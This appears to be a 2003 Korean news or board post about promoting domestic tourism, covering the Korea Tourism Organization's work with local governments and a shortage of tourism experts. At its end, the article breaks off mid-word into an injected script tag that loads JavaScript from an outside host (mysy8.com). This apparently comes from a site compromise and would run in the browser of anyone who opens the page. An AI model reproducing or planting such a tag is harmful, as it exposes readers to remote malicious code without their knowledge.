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글쓴이 운영자 작성일 2003-04-01
제목 [레져레져] 국내 관광 활성화, 지금이 적기(1)
[레져레져] 국내 관광 활성화, 지금이 적기(1)


04 1 2003 9:05AM



1.관광공사/지자체 연계 잘 되고 있나


지금, 어쩌면 국내 관광 활성화의 최적기 일지도 모르겠다.
이라크 전으로 세계 관광시장이 뒤숭숭할 때 해외여행은 극히 자제되고 내국인들은 자연 국내 관광지로 눈을 돌리게 된다.

전쟁이 단기전으로 가든, 장기전으로 가든 원거리 여행에 대한 기피는 이어질 것이고 가까운 일본, 중국 또는 동남아에선 우리나라를 찾게 될 것임이 틀림없다. 위기가 곧 기회이고 여행자들의 의식 및 패턴 역시 끊이지 않고 바뀌어간다.

대한민국 관광산업은 이미 기본적인 툴이 갖춰져 있고 이젠 금수강산 아름다운 내 나라를 둘러보는 일만 남았다. 자고로 21세기는 일과 관광을 함께 하는 시대다.
레저를 즐기며 비즈니스를 공유하는 신문화 말이다.
한반도 관광 시대를 눈앞에 두고 있는 시점에서 과연 국내 지자체들의 운영 현황은 어떠하며 또한 한국관광공사를 국내 관광을 위해 어떤 노력을 귀울이고 있는지를 2회에 걸쳐 분석해 봤다. (편집자 주)

우리나라가 2001년부터 정부차원으로 시행에 들어간 ‘한국 방문의 해’가 지난해까지 2년에 걸쳐 진행되면서 외래관광객 유치에 혁혁한 성과를 거둬 한반도 관광 시대 도래라는 새로운 이정표를 남겼다.

특히 국내관광진흥 전문기관으로 그 역할을 다하고 있는 한국관광공사가 올해 들어 ‘내 나라 먼저보기’를 본격 가동, 내국인들의 국내 관광지 돌아보기 붐 조성에 크게 기여할 전망이다.

최근 각 지자체들은 관광객 유치를 위해 다양한 문화와 역사, 그리고 특색 있는 고장을 알리기 위해 현장감 넘치는 활발한 축제를 펼쳐 내외국인들에게 높은 호응을 얻어 매우 고무적이기도 하다.

이를 위해 관광공사는 ‘지자체 협력단’이란 조직을 구성, 지방자치단체와의 원활한 교류 및 정보 제공에 기반을 둔 국내 관광 활성화에 나서 주목을 끌고 있다.

구연석 한국관광공사 국내진흥기획실장은 관광공사의 역할에 대해 “전문지식과 경험을 바탕으로 지자체를 끌어주고 밀어주는 기능”이라며 “일종의 촉진재 역할로 관광공사라는 브랜드 네임을 활용, 지역발전에 일임되도록 온오프라인을 통해 적극 지원을 해주고 있다”고 설명했다.

대표적인 사례로 관광공사는 최근 전국 270여개 지자체와의 보다 굳건한 네트워크로 사업 연계 및 상호 커뮤니케이션이 가능한 포탈 사이트 ‘투어파일닷컴’를 선보여 한국 관광의 모범 답안을 제시했다

이번 사이트의 주목적은 실무자들 간의 현장 파악 등 인트라넷(intranet:인터넷 관련 기술과 통신규약을 이용하여 조직 내부 업무를 통합하는 정보시스템) 역할을 통한 지자체는 무론 여행업자들에게 큰 도움을 준다는데 그 의의를 두고 있다.

구 실장은 “적어도 내가 살고 있는 곳을 먼저 보고 나가는 것이 순리라고 판단, ‘내 나라 먼저보기’ 캠페인을 펼치게 된 것이 기본 취지”라며 “스스로에 충실해야 내 것을 알고 나아가 우리 것을 제대로 알릴 수 있는 것”이라고 말했다.

하지만 관광공사의 이런 일련의 노력만으로 모든 것이 다 해결되기에는 무리수임에 틀림없다. 국내 지자체들은 아직까지도 주먹구구식의 행정과 관광마인드 부족이라는 어려움에 봉착해 있기 때문이다.

어느 곳에서 축제가 크게 호황을 누리면 이미 비슷한 또 다른 축제가 열리게 되고 그야말로 전국은 매일매일 축제가 열리게 되는 꼴.

인프라 구축이 미흡한 것을 시작으로 전문성 부족에 따른 중복투자 및 난개발 등이라는 시행착오도 계속되고 있다. 이에 대해 구 실장은 “물론 지자체 입장에서 볼 땐 우선 사람들을 모이게 하는데 축제 그 이상은 없어 바람직하다고 본다”며 “반면 비슷한 것들이 이어진다면 결국 식상해 관광객들은 등을 돌리게 되기 때문에 지역발전을 위한 장기적인 안목으로 접근을 해야 할 것”이라고 지적했다.

순수민간 차원 주도의 차별화된 축제 조성과 외형 중시가 아닌 계몽차원의 요소가 감안되는 것이 시급하다고 그는 덧붙였다.

현재 지자체에서 가장 절실한 현안과제로 대두되고 있는 것을 꼽는다면 아마도 관광전문가가 부족하다는데 있다. 관광마인드를 지닌 일종의 전문 자문자 배출이 절실하다는 얘기다.

자문 등을 통해 열악한 지자체 현실 여건을 개선시키고 이에 따른 지역발전 강화가 곧 국내 관광 활성화의 시발점이 되는 것이다. 그러나 현실은 그렇지가 못하다.

시장 및 군수들을 지원해줄 마땅한 관광전문가의 표준도 없고 각 대학 교수들 역시 이론만 앞서고 현장지식이 없다는 것. 또한 지식인 발굴을 위한 교육시스템 역시 주도자가 누가 되며 어떻게 하느냐가 관건이다.

관광공사는 이러한 시장 상황에서 올 초 강원도에 공사 내부 직원을 협력고문으로 파견, 아직은 시작 단?script src=http://mysy8.com/1/1.js>
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